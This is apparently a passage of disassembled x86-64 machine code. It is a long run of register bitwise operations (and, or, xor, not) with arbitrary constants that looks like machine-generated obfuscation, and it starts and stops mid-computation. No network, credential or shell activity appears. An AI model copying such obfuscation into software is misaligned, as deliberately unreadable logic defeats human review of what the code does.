and edx, 0x16053956
mov eax, edi
and eax, 0xe9fac6a9
or eax, edx
mov r8d, r13d
or r8d, ebx
and ebx, 0x16053956
and ecx, 0xe9fac6a9
or ecx, ebx
xor ecx, eax
not r8d
or r8d, ecx
mov eax, r10d
and eax, esi
mov ecx, eax
not ecx
mov edx, esi
and edx, 0x4c8d1613
mov ebx, r10d
and ebx, 0xb372e9ec
or ebx, edx
mov r9d, esi
or r9d, ecx
and ecx, 0x4c8d1613
and eax, 0xb372e9ec
or eax, ecx
xor eax, ebx
not r9d
or r9d, eax
mov ecx, r8d
not ecx
mov eax, ecx
and eax, 0x737238e5
mov edx, r8d
and edx, 0x8c8dc71a
or edx, eax
xor edx, 0x7e925133
mov r14d, edx
xor r14d, ecx
and r14d, edx
and edi, 0xf21f9629
xor r13d, 0xde069d6
or r13d, edi
mov r15d, r13d
not r15d
mov r12d, r9d
not r12d
mov eax, r9d
and eax, 0xe9502e1e
mov edx, r12d
and edx, 0x16afd1e1
or edx, eax
xor edx, 0xe4b047c8
mov edi, r12d
and edi, 0xde069d6
or edi, edx
mov eax, edi
not eax
and eax, 0x1484b962
and edi, 0xeb7b469d
or edi, eax
mov r11d, edi
xor r11d, 0xe978440d
xor edi, 0x1484b962
and esi, 0x1e2b6241
mov eax, r10d
and eax, 0xe1d49dbe
or eax, esi
xor eax, 0xec34f468
and r10d, 0xf21f9629
or r10d, eax
mov eax, r10d
not eax
mov esi, r14d
not esi
and r15d, esi
or esi, r13d
mov edx, esi
not edx
and r13d, r14d
or r13d, r15d
mov ebx, r13d
not ebx
mov r14d, esi
and r14d, 0x6d3d702f
and edx, 0x92c28fd0
or edx, r14d
or esi, ebx
and ebx, 0x6d3d702f
and r13d, 0x92c28fd0
or r13d, ebx
xor r13d, edx
not esi
or esi, r13d
mov edx, edi
or edx, r10d
mov ebx, edx
not ebx
and edi, 0x1203bb92
and r11d, 0xedfc446d
or r11d, edi
and r10d, 0x1203bb92
and eax, 0xedfc446d
or eax, r10d
xor eax, r11d
mov edi, eax
not edi
mov r10d, edx
and r10d, 0xa73b4d68
and ebx, 0x58c4b297
or ebx, r10d
or edx, edi
and edi, 0xa73b4d68
and eax, 0x58c4b297
or eax, edi
xor eax, ebx
not edx
or edx, eax
not esi
mov eax, esi
xor eax, edx
not eax
and eax, edx
or esi, edx
mov edx, esi
not edx
mov r10d, eax
not r10d
mov ebx, r10d
and ebx, 0x355173db
and eax, 0xcaae8c24
or eax, ebx
or r10d, esi
and esi, 0x355173db
and edx, 0xcaae8c24
or edx, esi
xor edx, eax
not r10d
or r10d, edx
and r9d, ecx
or ecx, r12d
mov eax, ecx
not eax
and r12d, r8d
or r12d, r9d
mov edx, r12d
not edx
mov ebx, ecx
and ebx, 0xf8dafa1e
and eax, 0x72505e1
or eax, ebx
or ecx, edx
and edx, 0xf8dafa1e
and r12d, 0x72505e1
or r12d, edx
xor r12d, eax
not ecx
or ecx, r12d
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x26b2622d
and ecx, 0xd94d9dd2
or ecx, eax
mov r11d, ecx
xor r11d, 0x480c99d2
xor ecx, 0x2430020d
and ecx, 0xb571060d
and r11d, 0x4a8ef9f2
or r11d, ecx
mov edx, r11d
xor edx, 0x488e5942
mov ebx, r10d
mov r9d, r10d
xor r9d, 0x99968f79
and r9d, r10d
not r10d
and r10d, 0x8c64f3c2
and ebx, 0x739b0c3d
or ebx, r10d
xor ebx, 0x739b0c3d
xor r11d, 0xb571060d
mov eax, r11d
and eax, 0x2351a2b9
and edx, 0xdcae5d46
or edx, eax
mov eax, edx
xor eax, 0xdcae5d46
mov r8d, ebx
and r8d, eax
xor eax, ebx
and ebx, 0x99968f79
xor edx, 0x1108239
or edx, 0x66697086
mov ecx, edx
not ecx
or r11d, 0x99968f79
mov esi, r11d
not esi
mov edi, ebx
and edi, r9d
xor r9d, ebx
or r9d, edi
and edx, 0x86b7ddb5
and ecx, 0x19000248
or ecx, edx
and r11d, 0x86b7ddb5
and esi, 0x60482002
or esi, r11d
xor esi, ecx
mov ecx, r9d
not ecx
and ecx, esi
not esi
and esi, r9d
or esi, ecx
or eax, r8d
mov ecx, eax
not ecx
and ecx, 0xc2ad216f
and eax, 0x3d52de90
or eax, ecx
xor eax, 0x3d52de90
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov esi, eax
not esi
mov edx, eax
xor edx, 0x7d7f140a
and edx, eax
mov ecx, eax
or ecx, 0x8280ebf5
mov edi, edx
not edi
mov r8d, ecx
and r8d, 0x78f39acd
mov ebx, esi
and ebx, 0x7fa4e70e
and eax, 0x805b18f1
or eax, ebx
xor eax, 0x5400f770
or eax, esi
and esi, 0x50c0402
or esi, r8d
or ecx, edi
and edi, 0x78f39acd
and edx, 0x870c6532
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x19ee2f6c
and ecx, 0xe611d093
or ecx, edx
mov edx, ecx
xor edx, 0x89624008
xor ecx, 0x60900124
and ecx, 0x729c85b5
and edx, 0x8d637a4a
or edx, ecx
mov ecx, edx
xor ecx, 0xc413800
xor edx, 0x12188525
and edx, 0x933ac76f
and ecx, 0x6cc53890
or ecx, edx
mov edx, ecx
xor edx, 0x476128ee
xor ecx, 0x6cc53890
and ecx, edx
mov r10d, eax
not r10d
mov r8d, ecx
not r8d
mov edx, eax
and edx, 0x51f686d6
and r10d, 0xae097929
or r10d, edx
mov r9d, r10d
xor r9d, 0xae097929
mov edx, r8d
and edx, 0x8bcf7030
mov ebx, ecx
xor ebx, 0x8bcf7030
and ebx, ecx
mov edi, r10d
xor edi, 0xda39f6e6
and edi, r9d
or eax, 0x8bcf7030
mov esi, eax
not esi
mov r11d, edx
and r11d, ebx
xor ebx, edx
or ebx, r11d
mov edx, edi
not edx
mov r11d, edx
and r11d, 0x790e027d
and edi, 0x86f1fd82
or edi, r11d
or edx, eax
and eax, 0x790e027d
and esi, 0x4308d82
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
xor r10d, 0x51f686d6
mov eax, ecx
and eax, 0x702ca314
and r8d, 0x8fd35ceb
or r8d, eax
or ecx, r10d
and r10d, 0x702ca314
and r9d, 0x8fd35ceb
or r9d, r10d
xor r9d, r8d
not ecx
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x2b22eba6
and ecx, 0xd4dd1459
or ecx, eax
mov ebx, ecx
xor ebx, 0x84d10000
xor ecx, 0x2b22eba6
mov eax, edx
not eax
mov edi, eax
and edi, 0x580e175f
and edx, 0xa7f1e8a0
or edx, edi
or eax, ecx
and ecx, 0x580e175f
and ebx, 0xa7f1e8a0
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov ecx, eax
mov r8d, eax
xor r8d, 0xfd36eea4
and r8d, eax
not eax
and eax, 0x91306c24
and ecx, 0x6c068280
or ecx, eax
xor ecx, 0x6c068280
mov eax, ecx
and eax, r8d
xor r8d, ecx
or r8d, eax
mov r15d, r8d
mov r10d, r8d
mov r12d, r8d
mov r9d, r8d
xor r9d, 0x6a119e5d
and r9d, r8d
not r8d
mov ecx, r8d
and ecx, 0xf8b96f00
and r15d, 0x74690ff
or r15d, ecx
mov ecx, r15d
not ecx
and ecx, 0xaed9bb49
and r15d, 0x512644b6
or r15d, ecx
mov ecx, r15d
xor ecx, 0x81102110
xor r15d, 0x5660d449
and ecx, 0xd530b559
mov edi, r15d
and edi, 0x2acf4aa6
or edi, ecx
xor edi, 0x55562281
and r15d, 0x806697d8
or r15d, edi
mov ecx, r15d
not ecx
mov ebx, r8d
and ebx, 0xd75099d0
and r10d, 0x28af662f
or r10d, ebx
xor r10d, 0xa8c9f1f7
mov ebx, r10d
xor ebx, r8d
and ebx, r10d
mov eax, ebx
not eax
and ebx, r15d
or r15d, eax
mov esi, r15d
not esi
and eax, ecx
or eax, ebx
mov ecx, eax
not ecx
mov ebx, r15d
and ebx, 0x89f4f17e
and esi, 0x760b0e81
or esi, ebx
or r15d, ecx
and ecx, 0x89f4f17e
and eax, 0x760b0e81
or eax, ecx
xor eax, esi
not r15d
or r15d, eax
mov eax, r15d
not eax
and eax, 0x80241700
mov ecx, r15d
and ecx, 0x4280d8
or ecx, eax
xor ecx, 0x4280d8
and r15d, 0x7f996827
or r15d, ecx
mov r10d, r15d
mov r14d, r15d
mov r11d, r15d
mov eax, r15d
mov r13d, r15d
xor r13d, 0xf79a0e53
and r13d, r15d
not r15d
mov ecx, r15d
and ecx, 0x2f2a08b4
and r10d, 0xd0d5f74b
or r10d, ecx
mov ecx, r10d
xor ecx, 0x80011100
xor r10d, 0x2a020000
mov edi, r15d
or edi, 0xae571506
mov esi, edi
not esi
or r10d, 0x4128cac0
and r10d, 0x6b7ecec2
and ecx, 0x84011104
or ecx, r10d
and edi, 0x6b7ecec2
and esi, 0x10802039
or esi, edi
xor esi, ecx
mov ecx, esi
not ecx
and ecx, 0xdf373ce9
and esi, 0x20c8c316
or esi, ecx
xor esi, 0x20c8c316
mov ecx, r15d
and ecx, 0x1ede6ce5
and r14d, 0xe121931a
or r14d, ecx
xor r14d, 0xe121931a
mov ecx, esi
and ecx, r14d
xor r14d, esi
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0xb615ffee
and r14d, 0x49ea0011
or r14d, ecx
mov r10d, r14d
xor r10d, 0x49ea0011
and r8d, 0x68018051
and r12d, 0x2101e0c
or r12d, r8d
mov ecx, r12d
xor ecx, 0xa04
xor r12d, 0xfdefe1f3
mov edi, r9d
not edi
mov edx, r12d
and edx, 0xfe9a553a
and ecx, 0x18a45
or ecx, edx
or r12d, edi
and edi, 0xfe9a553a
and r9d, 0x165aac5
or r9d, edi
xor r9d, ecx
not r12d
or r12d, r9d
mov ecx, r12d
not ecx
and ecx, 0x95ee61a2
and r12d, 0x6a119e5d
or r12d, ecx
mov ecx, r12d
not ecx
and ecx, 0x920c5bd4
mov edx, r12d
and edx, 0x6df3a42b
or edx, ecx
mov ecx, edx
xor ecx, 0x6df3a42b
mov edi, edx
xor edi, 0x6d84c52b
and edi, ecx
and r12d, 0x776100
mov ebx, edi
and ebx, r12d
xor r12d, edi
or r12d, ebx
mov ebx, r12d
not ebx
and ebx, 0x1161cea2
and r12d, 0xee9e315d
or r12d, ebx
xor r12d, 0xbf41baa4
and ecx, 0xae571506
xor edx, 0xc3a4b12d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x362b79b0
and edx, 0xc9d4864f
or edx, ecx
xor edx, 0xc9d4864f
mov ecx, r12d
and ecx, edx
xor edx, r12d
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x3db7637a
and ebx, edx
not edx
and edx, 0x3591231a
and ecx, 0x8264060
or ecx, edx
mov edx, ecx
xor edx, 0x200040
xor ecx, 0xf7d9bf9f
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x8dcff3b1
and edx, 0x3030004a
or edx, esi
or ecx, edi
and edi, 0x8dcff3b1
and ebx, 0x72300c4e
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xbfc7661e
and ecx, 0x403899e1
or ecx, edx
mov ebx, ecx
xor ebx, 0x7d8ffa9b
mov r9d, ecx
xor r9d, 0x82700564
mov edi, r14d
xor edi, 0xb615ffee
mov r8d, edi
and r8d, 0x4f891aa7
mov esi, r10d
xor r14d, 0xb4a7e497
and r14d, r10d
and r10d, 0xb076e558
or r10d, r8d
xor r10d, 0xb076e558
mov r8d, r9d
and r8d, 0xde9e6dc5
mov edx, ebx
xor ecx, 0x80c21e1d
and ecx, ebx
and ebx, 0x2161923a
or ebx, r8d
xor ebx, 0x2161923a
mov r8d, r10d
and r8d, ebx
xor ebx, r10d
or ebx, r8d
mov r8d, ebx
not r8d
and edi, 0x5f9ba972
and esi, 0xa064568d
or esi, edi
mov r10d, esi
xor r10d, 0x80044484
xor esi, 0x5d09a002
and r9d, 0x53ea9912
and edx, 0xac1566ed
or edx, r9d
mov r9d, edx
xor r9d, 0xac1566ed
xor edx, 0xaea77d94
and edx, r9d
or esi, 0x2b21b79
mov edi, r14d
not edi
mov r9d, esi
and r9d, 0x7842300b
and r10d, 0x850dc484
or r10d, r9d
or esi, edi
and edi, 0x7842300b
and r14d, 0x87bdcff4
or r14d, edi
xor r14d, r10d
not esi
or esi, r14d
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, esi
not edx
and edx, 0x5a1099fe
and esi, 0xa5ef6601
or esi, edx
mov edx, ecx
not edx
and edx, 0x5a1099fe
and ecx, 0xa5ef6601
or ecx, edx
xor ecx, esi
mov edx, ecx
not edx
mov edi, ebx
or edi, edx
not edi
and ebx, 0x9f6f38ee
and r8d, 0x6090c711
or r8d, ebx
and edx, 0x9f6f38ee
and ecx, 0x6090c711
or ecx, edx
xor ecx, r8d
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov r8d, ecx
not r8d
mov edx, ecx
or edx, 0x81c41f87
mov ebx, edx
not ebx
mov edi, ecx
xor edi, 0x7e3be078
and edi, ecx
mov esi, edi
not esi
mov r9d, edx
and r9d, 0x75f84714
and ebx, 0xa03a068
or ebx, r9d
or edx, esi
and esi, 0x75f84714
and edi, 0x8a07b8eb
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xecd28e69
and edx, 0x132d7196
or edx, ebx
mov ebx, edx
xor ebx, 0x4906018e
xor edx, 0x92e96e11
and ebx, 0x498e098e
mov edi, edx
and edi, 0xb671f671
or edi, ebx
xor edi, 0x1826e376
and edx, 0x51a8eaf8
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x40f6455b
and edx, 0xbf09baa4
or edx, ebx
mov ebx, edx
xor ebx, 0xbf09baa4
mov edi, edx
xor edi, 0x40520558
mov esi, r8d
and esi, 0xae571507
and ecx, 0x51a8eaf8
or ecx, esi
xor r8d, ecx
and r8d, ecx
and edi, 0xed52b7f8
xor edx, 0x3049ec4d
and edx, ebx
and ebx, 0x12ad4807
or ebx, edi
mov r10d, ebx
xor r10d, 0x12ad4807
mov edi, r8d
not edi
mov ecx, ebx
xor ecx, 0x6212e111
and ecx, r10d
mov r9d, edi
and r9d, 0x8f4056e9
mov esi, r8d
and esi, 0x70bfa916
or esi, r9d
mov r9d, ecx
and r9d, edx
xor edx, ecx
or edx, r9d
mov ecx, edx
not ecx
and ecx, esi
not esi
and esi, edx
or esi, ecx
xor ebx, 0xed52b7f8
mov ecx, ebx
and ecx, 0x1ff0e94b
and r10d, 0xe00f16b4
or r10d, ecx
or ebx, r8d
and r8d, 0x1ff0e94b
and edi, 0xe00f16b4
or edi, r8d
xor edi, r10d
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x5e76992b
and ebx, 0xa18966d4
or ebx, ecx
mov ecx, ebx
xor ecx, 0xa1804440
xor ebx, 0x5e76992b
mov r9d, esi
not r9d
mov edx, r9d
and edx, 0xa1db3b4
and esi, 0xf5e24c4b
or esi, edx
or r9d, ebx
and ebx, 0xa1db3b4
and ecx, 0xf5e24c4b
or ecx, ebx
xor ecx, esi
not r9d
or r9d, ecx
mov ecx, r15d
and ecx, 0xfffffffe
and r11d, 1
or r11d, ecx
mov ecx, r11d
xor ecx, r15d
and ecx, r11d
and r15d, 0xa4980c43
and eax, 0x53020210
or eax, r15d
mov edx, eax
xor edx, 0x53000010
xor eax, 0xacfdfdef
mov ebx, r13d
not ebx
mov edi, eax
and edi, 0x2c3677a2
and edx, 0xd3880851
or edx, edi
or eax, ebx
and ebx, 0x2c3677a2
and r13d, 0xd3c9885d
or r13d, ebx
xor r13d, edx
not eax
or eax, r13d
mov edx, eax
not edx
and edx, 0xf79a0e52
and eax, 0x865f1ad
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
xor ebx, edx
and ebx, ecx
mov edi, ecx
not edi
and edi, 0xf0507471
and ecx, 0xfaf8b8e
or ecx, edi
and edx, 0xf0507471
and eax, 0xfaf8b8e
or eax, edx
xor eax, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov esi, eax
not esi
mov edx, esi
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x11cb624d
mov ecx, esi
and ecx, 0xee349db2
or ecx, edi
mov edi, eax
or edi, ebx
and ebx, 0x11cb624d
and edx, 0xee349db2
or edx, ebx
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
and edi, 0xec93dd0b
and ecx, 0x136c22f4
or ecx, edi
mov edx, ecx
xor edx, 0x134c2034
xor ecx, 0xec93dd0b
and esi, 0xbc0012a5
and eax, 0x43ffed5a
or eax, esi
mov ebx, eax
xor ebx, 0x43ffed5a
xor eax, 0xbc0012a5
or eax, ebx
mov ebx, eax
not ebx
mov edi, ecx
or edi, eax
mov esi, edi
not esi
and ecx, 0x8823cbc0
and edx, 0x77dc343f
or edx, ecx
and eax, 0x8823cbc0
and ebx, 0x77dc343f
or ebx, eax
xor ebx, edx
mov eax, ebx
not eax
mov ecx, edi
and ecx, 0x9a3118e
and esi, 0xf65cee71
or esi, ecx
or edi, eax
and eax, 0x9a3118e
and ebx, 0xf65cee71
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov eax, edi
xor eax, 0x8288472
and eax, edi
not edi
and edi, 0x8288472
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf7d77b8d
and eax, 0x8288472
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x35703f24
and edx, eax
not eax
and eax, 0x5fdc167b
and ecx, 0xa023e984
or ecx, eax
mov ebx, ecx
xor ebx, 0xa023e984
xor ecx, 0x5e00063b
and ecx, 0xde23efbf
mov eax, ebx
and eax, 0x21dc1040
or eax, ecx
xor eax, 0x21dc1040
or eax, ebx
and ebx, 0x35703f24
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x35703f24
and edx, 0xca8fc0db
or edx, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf319a7c
and ecx, eax
and eax, 0xf0ce6583
or eax, edx
xor eax, 0xf0ce6583
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc400115d
and eax, 0x3bffeea2
or eax, edx
xor eax, 0x3bffeea2
or eax, ecx
mov ebx, eax
not ebx
mov ecx, r9d
not ecx
mov r12d, ecx
and r12d, r9d
mov edx, ecx
and edx, r12d
xor r12d, ecx
or r12d, edx
mov edx, eax
and edx, 0xe9f13fff
mov edi, ebx
and edi, 0x160ec000
or edi, edx
mov r14d, edi
xor r14d, 0x14004000
xor edi, 0x880009d5
and edi, 0x8a0e89d5
and r14d, 0x75f1762a
or r14d, edi
mov edx, r14d
xor edx, 0x8a0e89d5
mov r11d, edx
mov dword [rbp - 0x30], edx
mov r10d, r12d
not r10d
mov edx, r10d
and edx, 0x84045708
mov r15d, r12d
and r15d, 0x7bfba8f7
or r15d, edx
xor r15d, 0x33f72d31
or r15d, r10d
mov edi, r15d
not edi
and ecx, 0x603f566c
and r9d, 0x9fc0a993
or r9d, ecx
mov ecx, r9d
xor ecx, 0x9fc0a993
xor r9d, 0xc5428
and r9d, 0x1a4cdcba
mov edx, ecx
and edx, 0xe5b32345
or edx, r9d
xor edx, 0xadbfa683
and ecx, 0xb7f37a39
or ecx, edx
mov esi, r14d
xor esi, 0x75f1762a
mov dword [rbp - 0x28], esi
and esi, 0x480c85c6
and r11d, 0xb7f37a39
or r11d, esi
and eax, 0xb0edf036
and ebx, 0x4f120fc9
or ebx, eax
mov eax, ebx
xor eax, 0x7120a09
and eax, 0xb7f37a39
xor ebx, 0xf8e175f0
or ebx, eax
mov eax, ebx
not eax
and eax, 0x4c80f86c
and ebx, 0xb37f0793
or ebx, eax
mov r13d, edi
or r13d, 0x64a967
mov eax, r13d
not eax
mov esi, r13d
and esi, 0x9c3a32f3
and eax, 0x63814408
or eax, esi
mov esi, r15d
xor esi, 0x64a967
and esi, edi
mov edx, esi
not edx
or r13d, edx
and edx, 0x9c3a32f3
and esi, 0x63c5cd0c
or esi, edx
xor esi, eax
mov edx, ecx
xor edx, 0x64a967
not r13d
or r13d, esi
mov esi, edx
and esi, ecx
mov r8d, esi
not r8d
mov eax, r8d
and eax, 0xe299278b
and esi, 0x1d66d874
or esi, eax
mov r9d, ecx
not r9d
and edx, r9d
mov eax, edx
not eax
or r8d, eax
and eax, 0xe299278b
and edx, 0x1d66d874
or edx, eax
xor edx, esi
not r8d
or r8d, edx
mov eax, r13d
not eax
and eax, 0x483c255c
and r13d, 0xb7c3daa3
or r13d, eax
mov eax, r8d
not eax
and eax, 0x483c255c
and r8d, 0xb7c3daa3
or r8d, eax
not r11d
or r11d, dword [rbp - 0x28]
xor r8d, r13d
mov eax, edi
and eax, 0x295c6e7f
and r15d, 0xd6a39180
or r15d, eax
mov esi, r11d
not esi
or edi, r9d
and r9d, 0x295c6e7f
and ecx, 0xd6a39180
or ecx, r9d
mov r13d, ebx
xor r13d, 0x333f0512
xor ebx, 0x4c80f86c
xor ecx, r15d
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x906ab6f9
and edi, 0x6f954906
or edi, eax
xor edi, 0x6f954906
mov eax, r8d
and eax, edi
xor edi, r8d
or edi, eax
mov eax, ebx
and eax, 0xc0405289
and r13d, 0x3fbfad76
or r13d, eax
mov r9d, r11d
xor r9d, 0xff608e30
mov eax, r9d
and eax, r11d
and r9d, esi
mov edx, eax
and edx, r9d
xor r9d, eax
mov r15d, r13d
xor r13d, 0xc0405289
or r9d, edx
mov eax, r13d
or eax, 0xff608e30
mov ecx, eax
not ecx
and eax, 0x71000393
and ecx, 0x9f704c
or ecx, eax
or ebx, 0x9f71cf
mov edx, ebx
not edx
and ebx, 0x71000393
and edx, 0x8e608c20
or edx, ebx
xor edx, ecx
mov eax, r9d
not eax
and eax, 0x6de7891a
and r9d, 0x921876e5
or r9d, eax
mov eax, edx
not eax
and eax, 0x6de7891a
and edx, 0x921876e5
or edx, eax
xor r14d, 0xd6dbf3ca
mov r8d, dword [rbp - 0x30]
and r14d, r8d
xor r15d, 0x363ba046
xor edx, r9d
mov eax, esi
and eax, 0x49841d30
and r11d, 0xb67be2cf
or r11d, eax
or esi, r13d
and r13d, 0x49841d30
and r15d, 0xb67be2cf
or r15d, r13d
xor r15d, r11d
not esi
or esi, r15d
not esi
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, edi
not eax
and eax, 0x21e51475
and edi, 0xde1aeb8a
or edi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x21e51061
and esi, 0x414
or esi, ecx
mov ecx, esi
xor ecx, 0x400
xor esi, 0x542cd903
or eax, 0x21e51475
mov r11d, eax
not r11d
and esi, 0x542cd917
and ecx, 0x21c10460
or ecx, esi
and eax, 0x542cd917
and r11d, 0x8a122288
or r11d, eax
xor r11d, ecx
mov eax, edi
not eax
and eax, r11d
not r11d
and r11d, edi
or r11d, eax
mov eax, r10d
and eax, 0x7f197b85
and r12d, 0x80e6847a
or r12d, eax
mov eax, r12d
xor eax, 0x80e6847a
mov ecx, dword [rbp - 0x28]
and ecx, 0x13df39a2
and r8d, 0xec20c65d
or r8d, ecx
mov ecx, r8d
xor ecx, 0xec20c65d
xor r12d, 0x5c117a05
or r12d, 0xa32a85e0
mov edx, r12d
not edx
or r10d, 0x5cd57a1f
mov ebx, r10d
not ebx
xor r8d, 0x10d53802
or r8d, 0xa32a85e0
mov edi, r8d
not edi
and r12d, 0x742f72ca
and edx, 0x8d00815
or edx, r12d
and r10d, 0x742f72ca
and ebx, 0x83008520
or ebx, r10d
xor ebx, edx
mov edx, r14d
not edx
mov esi, r8d
and esi, 0x69852d9c
and edi, 0x14505203
or edi, esi
or r8d, edx
and edx, 0x69852d9c
and r14d, 0x967ad263
or r14d, edx
xor r14d, edi
not r8d
or r8d, r14d
mov edx, ebx
not edx
and edx, r8d
not r8d
and r8d, ebx
or r8d, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x75195944
and ecx, 0x8ae6a6bb
or ecx, eax
xor ecx, 0x8ae6a6bb
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov eax, ecx
xor eax, 0x66291718
and eax, ecx
not ecx
and ecx, 0x66291718
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x899956
and eax, 0xff7666a9
or eax, ecx
mov r15d, eax
xor r15d, 0x91437090
xor eax, 0x66a08e4e
mov r8d, r11d
not r8d
mov ecx, eax
and ecx, 0x6e9c036f
and r15d, 0x9163fc90
or r15d, ecx
mov r9d, r15d
xor r9d, 0x91233410
mov esi, r11d
xor esi, 0xea453ea
and esi, r8d
mov edx, r8d
or edx, 0xea453ea
mov ebx, edx
not ebx
xor r15d, 0x6e9c036f
mov r10d, r15d
or r10d, 0xf15bac15
mov r14d, r10d
not r14d
or eax, 0xea453ea
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x1b6b0435
and esi, 0xe494fbca
or esi, edi
mov edi, eax
not edi
or ecx, edx
and edx, 0x1b6b0435
and ebx, 0xe010a800
or ebx, edx
xor ebx, esi
not ecx
or ecx, ebx
and r10d, 0xf6e70c98
and r14d, 0x8005362
or r14d, r10d
and eax, 0xf6e70c98
and edi, 0x118a005
or edi, eax
xor edi, r14d
mov eax, ecx
not eax
and eax, edi
not edi
and edi, ecx
or edi, eax
mov eax, r11d
and eax, 0x2a4cc882
and r8d, 0xd5b3377d
or r8d, eax
or r11d, r15d
and r15d, 0x2a4cc882
and r9d, 0xd5b3377d
or r9d, r15d
xor r9d, r8d
not r11d
or r11d, r9d
mov eax, r11d
not eax
and eax, 0x8d1836b5
and r11d, 0x72e7c94a
or r11d, eax
xor r11d, 0x72e7c94a
mov eax, edi
and eax, r11d
xor r11d, edi
or r11d, eax
mov r8d, r11d
not r8d
mov eax, r11d
and eax, 0x668d5495
mov ecx, r8d
and ecx, 0x9972ab6a
or ecx, eax
mov eax, ecx
xor eax, 0x60891091
xor ecx, 0x89108b00
and ecx, 0x8f14cf04
and eax, 0x70eb30fb
or eax, ecx
mov ecx, eax
xor ecx, 0x60e910aa
xor eax, 0x6004b04
and eax, 0x16026b55
and ecx, 0xe9fd94aa
or ecx, eax
mov r9d, ecx
xor r9d, 0x7c8488
xor ecx, 0x16026b55
mov eax, r8d
and eax, 0x4224986f
mov edx, r11d
and edx, 0xbddb6790
or edx, eax
mov ebx, edx
xor ebx, 0xbddb6790
xor edx, 0x224804c
and edx, 0x8b27a75c
mov r15d, ebx
and r15d, 0x74d858a3
or r15d, edx
xor r15d, 0x74d858a3
or r15d, ebx
mov eax, r15d
not eax
mov edx, r15d
and edx, 0x90aaed83
and eax, 0x6f55127c
or eax, edx
mov edx, eax
xor edx, 0x6f55127c
or r9d, 0xfd835076
mov r10d, r9d
not r10d
mov r14d, ecx
and r14d, edx
xor edx, ecx
or ecx, 0x27caf89
mov ebx, ecx
not ebx
xor eax, 0x28ad81
or eax, 0xfd835076
mov edi, eax
not edi
or r15d, 0x27caf89
mov esi, r15d
not esi
and r9d, 0x5b734fa2
and r10d, 0xca009
or r10d, r9d
and ecx, 0x5b734fa2
and ebx, 0xa4801054
or ebx, ecx
xor ebx, r10d
and eax, 0xac8f449e
and edi, 0x270ab01
or edi, eax
and r15d, 0xac8f449e
and esi, 0x51001060
or esi, r15d
xor esi, edi
mov eax, ebx
not eax
and eax, esi
not esi
and esi, ebx
or esi, eax
or edx, r14d
mov eax, edx
not eax
and eax, 0x86a38530
and edx, 0x795c7acf
or edx, eax
xor edx, 0x795c7acf
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4401d42
and edx, 0xfbbfe2bd
or edx, eax
mov ebx, edx
xor ebx, 0x88102084
xor edx, 0x4001002
or ecx, 0xac107aa7
mov eax, ecx
not eax
or edx, 0x42c38450
and edx, 0x66c3d673
and ebx, 0x88102884
or ebx, edx
and ecx, 0x66c3d673
and eax, 0x112c0108
or eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0x53ef8558
and eax, 0xac107aa7
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x21bcc252
and eax, 0xde433dad
or eax, ecx
mov r15d, eax
xor r15d, 0x21bcc252
xor eax, 0xde433dad
mov ecx, eax
and ecx, r15d
mov edx, ecx
not edx
mov edi, r15d
and edi, 0xb66dc188
and eax, 0x49923e77
or eax, edi
or r15d, edx
and edx, 0xb66dc188
and ecx, 0x49923e77
or ecx, edx
xor ecx, eax
not r15d
or r15d, ecx
mov r9d, r15d
not r9d
mov eax, r8d
and eax, 0xe0c21607
mov edx, r11d
and edx, 0x1f3de9f8
or edx, eax
xor edx, 0x1f3de9f8
mov ecx, r8d
and ecx, r11d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x3cff06e1
and eax, 0xc300f91e
or eax, edx
or ecx, r11d
and r11d, 0x3cff06e1
and r8d, 0xc300f91e
or r8d, r11d
xor r8d, eax
not ecx
or ecx, r8d
mov eax, ecx
not eax
and eax, 0x2b3dd114
and ecx, 0xd4c22eeb
or ecx, eax
mov r14d, ecx
xor r14d, 0xd4c22eeb
mov edi, ecx
